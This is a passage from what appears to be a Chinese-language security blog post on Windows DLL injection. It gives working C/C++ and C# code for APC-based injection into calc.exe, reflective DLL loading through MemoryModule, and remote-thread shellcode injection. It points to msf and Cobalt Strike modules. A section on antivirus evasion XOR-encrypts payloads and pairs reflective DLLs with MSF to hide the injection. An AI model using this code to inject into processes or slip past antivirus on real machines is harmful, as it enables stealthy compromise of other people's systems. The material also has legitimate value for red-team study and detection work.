tids.push_back(te.th32ThreadID);
}
} <span class="hljs-keyword">while</span> (::Thread32Next(hSnapshot, &te));
}
<span class="hljs-keyword">break</span>;
}
} <span class="hljs-keyword">while</span> (::Process32Next(hSnapshot, &pe));
}
::CloseHandle(hSnapshot);
<span class="hljs-keyword">return</span> pid &gt; <span class="hljs-number">0</span> && !tids.empty();
}
<span class="hljs-function"><span class="hljs-keyword">void</span> <span class="hljs-">main</span><span class="hljs-params">()</span>
</span>{
DWORD pid;
<span class="hljs-built_in">vector</span>&lt;DWORD&gt; tids;
<span class="hljs-keyword">if</span> (FindProcess(<span class="hljs-string">L"calc.exe"</span>, pid, tids))
{
<span class="hljs-built_in">printf</span>(<span class="hljs-string">"OpenProcess\n"</span>);
HANDLE hProcess = ::OpenProcess(PROCESS_VM_WRITE | PROCESS_VM_OPERATION, FALSE, pid);
<span class="hljs-built_in">printf</span>(<span class="hljs-string">"VirtualAllocEx\n"</span>);
<span class="hljs-keyword">auto</span> p = ::VirtualAllocEx(hProcess, <span class="hljs-literal">nullptr</span>, <span class="hljs-number">1</span> &lt;&lt; <span class="hljs-number">12</span>, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
<span class="hljs-keyword">wchar_t</span> buffer[] = <span class="hljs-string">L"c:\\test\\testdll.dll"</span>;
<span class="hljs-built_in">printf</span>(<span class="hljs-string">"WriteProcessMemory\n"</span>);
::WriteProcessMemory(hProcess, p, buffer, <span class="hljs-keyword">sizeof</span>(buffer), <span class="hljs-literal">nullptr</span>);
<span class="hljs-keyword">for</span> (<span class="hljs-keyword">const</span> <span class="hljs-keyword">auto</span>& tid : tids)
{
<span class="hljs-built_in">printf</span>(<span class="hljs-string">"OpenThread\n"</span>);
HANDLE hThread = ::OpenThread(THREAD_SET_CONTEXT, FALSE, tid);
<span class="hljs-keyword">if</span> (hThread)
{
<span class="hljs-built_in">printf</span>(<span class="hljs-string">"GetProcAddress\n"</span>);
::QueueUserAPC((PAPCFUNC)::GetProcAddress(GetModuleHandle(<span class="hljs-string">L"kernel32"</span>), <span class="hljs-string">"LoadLibraryW"</span>), hThread, (ULONG_PTR)p);
}
}
<span class="hljs-built_in">printf</span>(<span class="hljs-string">"VirtualFreeEx\n"</span>);
::VirtualFreeEx(hProcess, p, <span class="hljs-number">0</span>, MEM_RELEASE | MEM_DECOMMIT);
}
}
</div></pre>
<p>而且还有了C#版本,这里就不再赘述了。</p>
<h3>反射型dll注入:</h3>
<p>反射DLL注入可以将加密的DLL保存在磁盘(或者以其他形式如shellcode等),之后将其解密放在内存中。之后跟DLL注入一般,使用VirtualAlloc和WriteProcessMemory将DLL写入目标进程。因为没有使用LoadLibrary函数,要想实现DLL的加载运行,我们需要在DLL中添加一个导出函数,ReflectiveLoader,这个函数实现的功能就是加载自身。</p>
<p>反射DLL注入实现起来其实十分复杂,需要对PE加载十分了解。通过编写ReflectiveLoader找到DLL文件在内存中的地址,分配装载DLL的空间,并计算 DLL 中用于执行反射加载的导出的内存偏移量,然后通过偏移地址作为入口调用 CreateRemoteThread函数执行。</p>
<p>msf已经有了相应的模块:</p>
<pre>windows/manage/reflective_dll_inject
</pre>
<p><img src="/img/sin/M00/00/2C/wKg0C1689YCAQMr5AADFO37qNXM110.png" alt="3.png"></p>
<p>cs中也可以使用bdllspawn来加载dll实现同样的效果。</p>
<p>我们也可以手动使用MemoryModule来实现</p>
<ol>
<li>将要加载的PE文件读入内存</li>
<li>初始化MemoryModule句柄</li>
<li>装载内存</li>
<li>获得导出函数地址</li>
<li>执行导出函数</li>
<li>释放MemoryModule句柄</li>
</ol>
<p>代码如下:</p>
<pre><div class="hljs"><span class="hljs-">#<span class="hljs--keyword">define</span> WIN32_LEAN_AND_MEAN</span>
<span class="hljs-">#<span class="hljs--keyword">include</span> <windows.h></span>
<span class="hljs-">#<span class="hljs--keyword">include</span> <stdio.h></span>
<span class="hljs-">#<span class="hljs--keyword">include</span> <malloc.h></span>
<span class="hljs-">#<span class="hljs--keyword">include</span> <span class="hljs--string">"MemoryModule.h"</span></span>
<span class="hljs-function"><span class="hljs-keyword">typedef</span> <span class="hljs-">int</span> <span class="hljs-params">(*addNumberProc)</span><span class="hljs-params">(<span class="hljs-keyword">int</span>, <span class="hljs-keyword">int</span>)</span></span>;
<span class="hljs-">#<span class="hljs--keyword">define</span> DLL_FILE <span class="hljs--string">"C:\users\root\desktop\reflective_dll.x64.dll"</span></span>
<span class="hljs-function"><span class="hljs-keyword">void</span> <span class="hljs-">LoadFromFile</span><span class="hljs-params">(<span class="hljs-keyword">void</span>)</span>
</span>{
addNumberProc addNumber;
HINSTANCE handle = LoadLibrary((LPCWSTR)DLL_FILE);
<span class="hljs-keyword">if</span> (handle == <span class="hljs-literal">NULL</span>)
<span class="hljs-keyword">return</span>;
addNumber = (addNumberProc)GetProcAddress(handle, <span class="hljs-string">"addNumbers"</span>);
<span class="hljs-built_in">printf</span>(<span class="hljs-string">"From file: %d\n"</span>, addNumber(<span class="hljs-number">1</span>, <span class="hljs-number">2</span>));
FreeLibrary(handle);
}
<span class="hljs-function"><span class="hljs-keyword">void</span> <span class="hljs-">LoadFromMemory</span><span class="hljs-params">(<span class="hljs-keyword">void</span>)</span>
</span>{
FILE *fp;
<span class="hljs-keyword">unsigned</span> <span class="hljs-keyword">char</span> *data=<span class="hljs-literal">NULL</span>;
<span class="hljs-keyword">size_t</span> size;
HMEMORYMODULE <span class="hljs-keyword">module</span>;
addNumberProc addNumber;
fp = fopen(DLL_FILE, <span class="hljs-string">"rb"</span>);
<span class="hljs-keyword">if</span> (fp == <span class="hljs-literal">NULL</span>)
{
<span class="hljs-built_in">printf</span>(<span class="hljs-string">"Can't open DLL file \"%s\"."</span>, DLL_FILE);
<span class="hljs-keyword">goto</span> <span class="hljs-built_in">exit</span>;
}
fseek(fp, <span class="hljs-number">0</span>, SEEK_END);
size = ftell(fp);
data = (<span class="hljs-keyword">unsigned</span> <span class="hljs-keyword">char</span> *)<span class="hljs-built_in">malloc</span>(size);
fseek(fp, <span class="hljs-number">0</span>, SEEK_SET);
fread(data, <span class="hljs-number">1</span>, size, fp);
fclose(fp);
<span class="hljs-keyword">module</span> = MemoryLoadLibrary(data);
<span class="hljs-keyword">if</span> (<span class="hljs-keyword">module</span> == <span class="hljs-literal">NULL</span>)
{
<span class="hljs-built_in">printf</span>(<span class="hljs-string">"Can't load library from memory.\n"</span>);
<span class="hljs-keyword">goto</span> <span class="hljs-built_in">exit</span>;
}
addNumber = (addNumberProc)MemoryGetProcAddress(<span class="hljs-keyword">module</span>, <span class="hljs-string">"addNumbers"</span>);
<span class="hljs-built_in">printf</span>(<span class="hljs-string">"From memory: %d\n"</span>, addNumber(<span class="hljs-number">1</span>, <span class="hljs-number">2</span>));
MemoryFreeLibrary(<span class="hljs-keyword">module</span>);
<span class="hljs-built_in">exit</span>:
<span class="hljs-keyword">if</span> (data)
<span class="hljs-built_in">free</span>(data);
}
<span class="hljs-function"><span class="hljs-keyword">int</span> <span class="hljs-">main</span><span class="hljs-params">(<span class="hljs-keyword">int</span> argc, <span class="hljs-keyword">char</span>* argv[])</span>
</span>{
LoadFromFile();
<span class="hljs-built_in">printf</span>(<span class="hljs-string">"\n\n"</span>);
LoadFromMemory();
<span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;
}
</div></pre>
<p><img src="/img/sin/M00/00/2C/wKg0C1689aqAPOY4AACi4IALHBU433.png" alt="4.png"></p>
<h2>dll注入利用</h2>
<h3>反射型DLL注入免杀</h3>
<p>这里使用c#来实现。</p>
<p>首先声明api:</p>
<pre>[DllImport("kernel32.dll")]
static extern HANDLE OpenProcess(uint dwDesiredAccess, bool bInheritHandle, uint dwProcessId);
[DllImport("kernel32.dll")]
static extern HMODULE GetModuleHandle(string lpModuleName);
[DllImport("kernel32.dll")]
static extern IntPtr GetProcAddress(HMODULE hModule, string lpProcName);
[DllImport("kernel32.dll")]
static extern IntPtr VirtualAllocEx(HANDLE hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
static extern bool WriteProcessMemory(HANDLE hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out UIntPtr lpNumberOfBytesWritten);
[DllImport("kernel32.dll")]
static extern IntPtr CreateRemoteThread(HANDLE hProcess,IntPtr lpThreadAttributes, uint dwStackSize,
IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
// privileges used for OpenProcess
protected const uint PROCESS_ALL_ACCESS = PROCESS_CREATE_PROCESS | PROCESS_CREATE_THREAD |
PROCESS_DUP_HANDLE | PROCESS_QUERY_INFORMATION |
PROCESS_QUERY_LIMITED_INFORMATION | PROCESS_SET_INFORMATION |
PROCESS_SET_QUOTA | PROCESS_SUSPEND_RESUME | PROCESS_TERMINATE |
PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE | SYNCHRONIZE;
protected const uint PROCESS_CREATE_PROCESS = 0x80;
protected const uint PROCESS_CREATE_THREAD = 0x2;
protected const uint PROCESS_DUP_HANDLE = 0x40;
protected const uint PROCESS_QUERY_INFORMATION = 0x400;
protected const uint PROCESS_QUERY_LIMITED_INFORMATION = 0x1000;
protected const uint PROCESS_SET_INFORMATION = 0x200;
protected const uint PROCESS_SET_QUOTA = 0x100;
protected const uint PROCESS_SUSPEND_RESUME = 0x800;
protected const uint PROCESS_TERMINATE = 0x1;
protected const uint PROCESS_VM_OPERATION = 0x8;
protected const uint PROCESS_VM_READ = 0x10;
protected const uint PROCESS_VM_WRITE = 0x20;
protected const uint SYNCHRONIZE = 0x100000;
// used for VirtualAllocEx
const uint MEM_COMMIT = 0x00001000;
const uint MEM_RESERVE = 0x00002000;
const uint PAGE_READWRITE = 4;
</pre>
<p>然后可以使用下面的方式来实现dll注入:</p>
<pre>public static void ReflectiveDLLInject(int targetId, byte[] shellcode)
{
try
{
IntPtr lpNumberOfBytesWritten = IntPtr.Zero;
IntPtr lpThreadId = IntPtr.Zero;
IntPtr procHandle = OpenProcess((uint)ProcessAccessRights.All, false, (uint)targetId);
Console.WriteLine($"[+] Getting the handle for the target process: {procHandle}.");
IntPtr remoteAddr = VirtualAllocEx(procHandle, IntPtr.Zero, (uint)shellcode.Length, (uint)MemAllocation.MEM_COMMIT, (uint)MemProtect.PAGE_EXECUTE_READWRITE);
Console.WriteLine($"[+] Allocating memory in the remote process {remoteAddr}.");
Console.WriteLine($"[+] Writing shellcode at the allocated memory location.");
if (WriteProcessMemory(procHandle, remoteAddr, shellcode, (uint)shellcode.Length, out lpNumberOfBytesWritten))
{
Console.WriteLine($"[+] Shellcode written in the remote process.");
CreateRemoteThread(procHandle, IntPtr.Zero, 0, remoteAddr, IntPtr.Zero, 0, out lpThreadId);
}
else
{
Console.WriteLine($"[+] Failed to inject shellcode.");
}
}
catch (Exception ex)
{
Console.WriteLine(ex.Message);
}
}
</pre>
<p>然后将payload进行加密,再在主程序内还原即可。</p>
<pre>public static byte[] xor(byte[] input)
{
char[] key = { 'x', 'x', };
byte[] output = new byte[input.Length];
for (int i = 0; i &lt; input.Length; i++)
{
output[i] = (byte)(input[i] ^ key[i % key.Length]);
}
return output;
}
</pre>
<p>然后在调用函数执行即可,不过DLL加密后的shellcode都会特别长,不适合命令行输入,命令行只支持8000+字符的输入,可以考虑分离免杀的方式来进行执行。</p>
<h3>反射DLL与MSF联动</h3>
<p>倾璇师傅提出的思路,膜拜。</p>
<p><img src="/img/sin/M00/00/2C/wKg0C1689oiAK-GtAADYkNXBDiA769.png" alt="5.png"></p>
<p>进程中也看不到明显的dll注入</p>
<p><img src="/img/sin/M00/00/2C/wKg0C1689p6AMNgJAAFYu53N7B8702.png" alt="6.png"></p>
<p>参考文章:</p>
<p>https://www.cnblogs.com/wf751620780/p/10730013.html
https://payloads.online/archivers/2020-01-02/1
https://rootrain.me/2020/02/29/%E4%BD%BF%E7%94%A8.NET%E5%AE%9E%E7%8E%B0DLL%E6%B3%A8%E5%85%A5%E6%8A%80%E6%9C%AF/
https://ired.team/offensive-security/code-injection-process-injection/reflective-dll-injection
https://ired.team/offensive-security/code-injection-process-injection/dll-injection
https://www.t00ls.net/viewthread.php?tid=51601&highlight=DLL%E6%B3%A8%E5%85%A5
https://3gstudent.github.io/3gstudent.github.io/%E9%80%9A%E8%BF%87APC%E5%AE%9E%E7%8E%B0Dll%E6%B3%A8%E5%85%A5-%E7%BB%95%E8%BF%87Sysmon%E7%9B%91%E6%8E%A7/
https://github.com/stephenfewer/ReflectiveDLLInjection
https://www.cnblogs.com/uAreKongqi/p/6012353.html</p>
</div></div><p><br></p>